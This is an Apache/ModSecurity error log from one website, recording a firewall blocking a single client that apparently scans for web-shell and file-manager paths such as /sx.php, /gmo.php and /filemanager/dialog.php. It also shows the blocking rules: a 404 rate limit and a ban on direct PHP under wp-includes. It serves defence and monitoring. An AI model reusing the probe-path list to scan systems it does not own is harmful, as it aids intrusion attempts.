[Tue Nov 25 20:17:42.198470 2025] [:error] [pid 14076:tid 14097] [client 134.149.17.123:17353] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/fm.php"] [unique_id "aSWeZnsB4Gz6Qw-pvBsiSwAAABA"]
[Tue Nov 25 20:17:43.067431 2025] [:error] [pid 14168:tid 14185] [client 134.149.17.123:17364] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aSWeZ_R-ZDU0QEgAIItyVAAAAM4"]
[Tue Nov 25 20:17:43.923615 2025] [:error] [pid 14076:tid 14090] [client 134.149.17.123:17370] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aSWeZ3sB4Gz6Qw-pvBsiTgAAAAk"]
[Tue Nov 25 20:17:44.757292 2025] [:error] [pid 2987:tid 3004] [client 134.149.17.123:65388] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aSWeaM-djEt-pTzPxnyvUQAAAU8"]
[Tue Nov 25 20:17:46.219948 2025] [:error] [pid 28836:tid 29006] [client 134.149.17.123:17232] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aSWeapwNRsoxcLQGkTfO6AAAAtA"]
[Tue Nov 25 20:17:47.043017 2025] [:error] [pid 14077:tid 14115] [client 134.149.17.123:17290] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aSWeaxG9n7UHEkwDTyio0QAAAEU"]
[Tue Nov 25 20:17:48.123981 2025] [:error] [pid 14077:tid 14111] [client 134.149.17.123:65362] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aSWebBG9n7UHEkwDTyio0gAAAEE"]
[Tue Nov 25 20:17:49.056107 2025] [:error] [pid 28842:tid 29022] [client 134.149.17.123:65403] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aSWebdNmoaPf6T4-6C2j5gAAA1Q"]
[Tue Nov 25 20:17:50.224275 2025] [:error] [pid 28609:tid 28636] [client 134.149.17.123:65459] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aSWebiGGdT-nZJVs3x3P1gAAAZI"]
[Tue Nov 25 20:17:51.478763 2025] [:error] [pid 28739:tid 28781] [client 134.149.17.123:17405] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aSWebxxGpKmlkG4FexSG1QAAAhM"]
[Tue Nov 25 20:17:52.430274 2025] [:error] [pid 14076:tid 14101] [client 134.149.17.123:17324] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aSWecHsB4Gz6Qw-pvBsiWgAAABQ"]
[Tue Nov 25 20:17:53.281599 2025] [:error] [pid 28609:tid 28620] [client 134.149.17.123:17402] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aSWecSGGdT-nZJVs3x3P3AAAAYI"]
[Tue Nov 25 20:17:54.531514 2025] [:error] [pid 14077:tid 14131] [client 134.149.17.123:65391] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aSWechG9n7UHEkwDTyio4AAAAFU"]
[Tue Nov 25 20:17:55.405104 2025] [:error] [pid 28739:tid 28784] [client 134.149.17.123:65407] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aSWecxxGpKmlkG4FexSG2wAAAhY"]
[Tue Nov 25 20:17:56.173301 2025] [:error] [pid 28740:tid 28799] [client 134.149.17.123:17401] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aSWedFppQCoYxWW6V0WShwAAAkg"]
[Tue Nov 25 20:17:57.080271 2025] [:error] [pid 14077:tid 14126] [client 134.149.17.123:17372] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aSWedRG9n7UHEkwDTyio5wAAAFA"]
[Tue Nov 25 20:17:57.908136 2025] [:error] [pid 28842:tid 29020] [client 134.149.17.123:65429] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aSWeddNmoaPf6T4-6C2j-AAAA1I"]
[Tue Nov 25 20:17:58.842907 2025] [:error] [pid 14077:tid 14122] [client 134.149.17.123:17315] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aSWedhG9n7UHEkwDTyio8wAAAEw"]
[Tue Nov 25 20:17:59.625865 2025] [:error] [pid 14077:tid 14112] [client 134.149.17.123:17271] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aSWedxG9n7UHEkwDTyio-AAAAEI"]
[Tue Nov 25 20:18:00.473364 2025] [:error] [pid 28740:tid 28812] [client 134.149.17.123:17286] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aSWeeFppQCoYxWW6V0WSjwAAAlU"]
[Tue Nov 25 20:18:01.384646 2025] [:error] [pid 14078:tid 14153] [client 134.149.17.123:65390] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aSWeedVXYbb0ii_rVoJTrgAAAJA"]
[Tue Nov 25 20:18:02.438949 2025] [:error] [pid 28740:tid 28800] [client 134.149.17.123:65410] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aSWeelppQCoYxWW6V0WSlQAAAkk"]
[Tue Nov 25 20:18:03.386751 2025] [:error] [pid 28836:tid 29012] [client 134.149.17.123:65350] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aSWee5wNRsoxcLQGkTfO_wAAAtY"]
[Tue Nov 25 20:18:04.761410 2025] [:error] [pid 28842:tid 29002] [client 134.149.17.123:17396] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aSWefNNmoaPf6T4-6C2kAgAAA0w"]
[Tue Nov 25 20:18:05.527421 2025] [:error] [pid 28739:tid 28766] [client 134.149.17.123:17302] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aSWefRxGpKmlkG4FexSG6wAAAgQ"]
[Tue Nov 25 20:18:06.439607 2025] [:error] [pid 14078:tid 14149] [client 134.149.17.123:17357] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aSWeftVXYbb0ii_rVoJTuwAAAIw"]
[Tue Nov 25 20:18:07.567326 2025] [:error] [pid 28842:tid 29026] [client 134.149.17.123:17385] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aSWef9NmoaPf6T4-6C2kFgAAA1g"]
[Tue Nov 25 20:18:09.912186 2025] [:error] [pid 28842:tid 29000] [client 134.149.17.123:17358] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aSWegdNmoaPf6T4-6C2kJQAAA0o"]
[Tue Nov 25 20:18:12.045957 2025] [:error] [pid 28740:tid 28798] [client 134.149.17.123:17216] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aSWehFppQCoYxWW6V0WSpgAAAkc"]
[Tue Nov 25 20:18:13.184897 2025] [proxy_fcgi:error] [pid 28842:tid 29023] [client 134.149.17.123:17369] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:18:13.441135 2025] [proxy_fcgi:error] [pid 28842:tid 28994] [client 134.149.17.123:17369] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:18:13.696812 2025] [proxy_fcgi:error] [pid 28842:tid 29018] [client 134.149.17.123:17369] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:18:14.211115 2025] [proxy_fcgi:error] [pid 28842:tid 29000] [client 134.149.17.123:17369] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:18:14.509198 2025] [proxy_fcgi:error] [pid 28842:tid 28998] [client 134.149.17.123:17369] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:18:14.763047 2025] [proxy_fcgi:error] [pid 28842:tid 29026] [client 134.149.17.123:17369] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:18:15.030009 2025] [proxy_fcgi:error] [pid 28842:tid 28999] [client 134.149.17.123:17369] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:18:15.360475 2025] [proxy_fcgi:error] [pid 28842:tid 29005] [client 134.149.17.123:17369] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:18:15.736834 2025] [proxy_fcgi:error] [pid 28842:tid 28997] [client 134.149.17.123:17369] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:18:16.532546 2025] [:error] [pid 28842:tid 29025] [client 134.149.17.123:17369] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aSWeiNNmoaPf6T4-6C2kOwAAA1c"]
[Tue Nov 25 20:18:19.695168 2025] [:error] [pid 28609:tid 28630] [client 134.149.17.123:17281] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aSWeiyGGdT-nZJVs3x3QDgAAAYw"]
[Tue Nov 25 20:18:22.097092 2025] [:error] [pid 28842:tid 28999] [client 134.149.17.123:65400] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aSWejtNmoaPf6T4-6C2kQAAAA0k"]
[Tue Nov 25 20:18:23.648101 2025] [:error] [pid 28740:tid 28798] [client 134.149.17.123:17336] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aSWej1ppQCoYxWW6V0WSvQAAAkc"]
[Tue Nov 25 20:18:24.845971 2025] [:error] [pid 14168:tid 14194] [client 134.149.17.123:65464] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSWekPR-ZDU0QEgAIItyngAAANc"]
[Tue Nov 25 20:18:26.846818 2025] [:error] [pid 28739:tid 28780] [client 134.149.17.123:17240] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aSWekhxGpKmlkG4FexSHDAAAAhI"]
[Tue Nov 25 20:18:28.204425 2025] [:error] [pid 28739:tid 28783] [client 134.149.17.123:65397] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aSWelBxGpKmlkG4FexSHDwAAAhU"]
[Tue Nov 25 20:18:29.263714 2025] [:error] [pid 28739:tid 28777] [client 134.149.17.123:17403] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aSWelRxGpKmlkG4FexSHEgAAAg8"]
[Tue Nov 25 20:18:30.767672 2025] [:error] [pid 28842:tid 28995] [client 134.149.17.123:17312] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aSWeltNmoaPf6T4-6C2kTAAAA0U"]
[Tue Nov 25 20:18:31.494174 2025] [:error] [pid 28740:tid 28792] [client 134.149.17.123:17395] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aSWel1ppQCoYxWW6V0WS1wAAAkE"]
[Tue Nov 25 20:18:32.328423 2025] [:error] [pid 28842:tid 28994] [client 134.149.17.123:17251] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aSWemNNmoaPf6T4-6C2kUQAAA0Q"]
[Tue Nov 25 20:18:33.548094 2025] [:error] [pid 14077:tid 14134] [client 134.149.17.123:17383] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aSWemRG9n7UHEkwDTyipUAAAAFg"]
[Tue Nov 25 20:18:34.623502 2025] [:error] [pid 14078:tid 14157] [client 134.149.17.123:65426] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aSWemtVXYbb0ii_rVoJT2gAAAJQ"]
[Tue Nov 25 20:18:36.066565 2025] [:error] [pid 28836:tid 29011] [client 134.149.17.123:17291] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aSWenJwNRsoxcLQGkTfPLQAAAtU"]
[Tue Nov 25 20:18:36.776089 2025] [:error] [pid 14078:tid 14152] [client 134.149.17.123:65406] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aSWenNVXYbb0ii_rVoJT3gAAAI8"]
[Tue Nov 25 20:18:37.675044 2025] [:error] [pid 28740:tid 28812] [client 134.149.17.123:17387] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aSWenVppQCoYxWW6V0WS3QAAAlU"]
[Tue Nov 25 20:18:38.698132 2025] [:error] [pid 28739:tid 28781] [client 134.149.17.123:17404] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aSWenhxGpKmlkG4FexSHKgAAAhM"]
[Tue Nov 25 20:18:40.171909 2025] [:error] [pid 28739:tid 28783] [client 134.149.17.123:65445] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aSWeoBxGpKmlkG4FexSHLgAAAhU"]
[Tue Nov 25 20:18:41.696128 2025] [:error] [pid 28740:tid 28800] [client 134.149.17.123:17233] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aSWeoVppQCoYxWW6V0WS5gAAAkk"]
[Tue Nov 25 20:18:43.297333 2025] [:error] [pid 14077:tid 14127] [client 134.149.17.123:17356] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aSWeoxG9n7UHEkwDTyipZAAAAFE"]
[Tue Nov 25 20:18:44.494284 2025] [:error] [pid 28842:tid 29024] [client 134.149.17.123:17303] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aSWepNNmoaPf6T4-6C2kcAAAA1Y"]
[Tue Nov 25 20:18:45.427191 2025] [:error] [pid 2987:tid 2997] [client 134.149.17.123:65405] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSWepc-djEt-pTzPxnyvowAAAUg"]
[Tue Nov 25 20:18:46.191360 2025] [:error] [pid 2987:tid 3001] [client 134.149.17.123:17304] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aSWeps-djEt-pTzPxnyvpAAAAUw"]
[Tue Nov 25 20:18:47.108532 2025] [:error] [pid 14077:tid 14124] [client 134.149.17.123:65430] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aSWepxG9n7UHEkwDTyipbgAAAE4"]
